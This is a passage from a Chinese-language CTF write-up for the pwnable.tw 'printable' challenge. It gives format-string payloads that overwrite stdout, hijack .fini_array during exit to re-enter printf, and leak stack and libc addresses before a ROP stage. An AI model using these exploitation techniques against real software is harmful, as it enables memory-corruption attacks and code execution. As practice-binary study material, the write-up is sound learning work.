printable

[pwnable.tw] printable - 利用exit过程伪造.fini_array到可控内存-腾讯云开发者社区-腾讯云

poc改动下就能用，格式化字符串漏洞，任意地址读写，

    payload1 = "%{}c%{}$hhn".format(0x25, 16) #stdout_addr[1]
    payload1 += "%{}c%{}$hhn".format(0x40-0x25, 17) #stdout_addr[0]
    payload1 += "%{}$hnn".format(18) #bss_start[2]
    payload1 += "%{}c%{}$hn".format(fini_array_to_bss_offset-0x40-1, 0x2a) #stack ptr
    payload1 += "%{}c%{}$hn".format(0x925-fini_array_to_bss_offset, 19) #bss_start[0:2]
    payload1 =  payload1.encode().ljust(0x50, b"\x00")
    payload1 += p64(bss_stdout+1) #16
    payload1 += p64(bss_stdout) #17
    payload1 += p64(bss_addr+2) #18
    payload1 += p64(bss_addr) #19
    p.sendafter("Input :", payload1+b"\n\x00")

修改3个地址的数据，一个是stdout改为stderr,bss数据段写入0x40925,fini_arry会使用到的栈地址，写入fini_array到bss的偏移，

流程，printf结束，会调用fini_arry+栈地址offset到了bss拿地址，拿到0x40925重新调用Pirntf,stdout修改输出到err流。

    payload2 = "%{}c%{}$hhn".format(0x25, 0x17) # modify printf's ret addr
    payload2 += "||%{}$p||%{}$p||".format(0x39, 0x3c)
    payload2 = payload2.encode()
    p.send(payload2+b"\x00")
    p.recvuntil(b"||")

泄露栈地址和libc基址

接着编写rop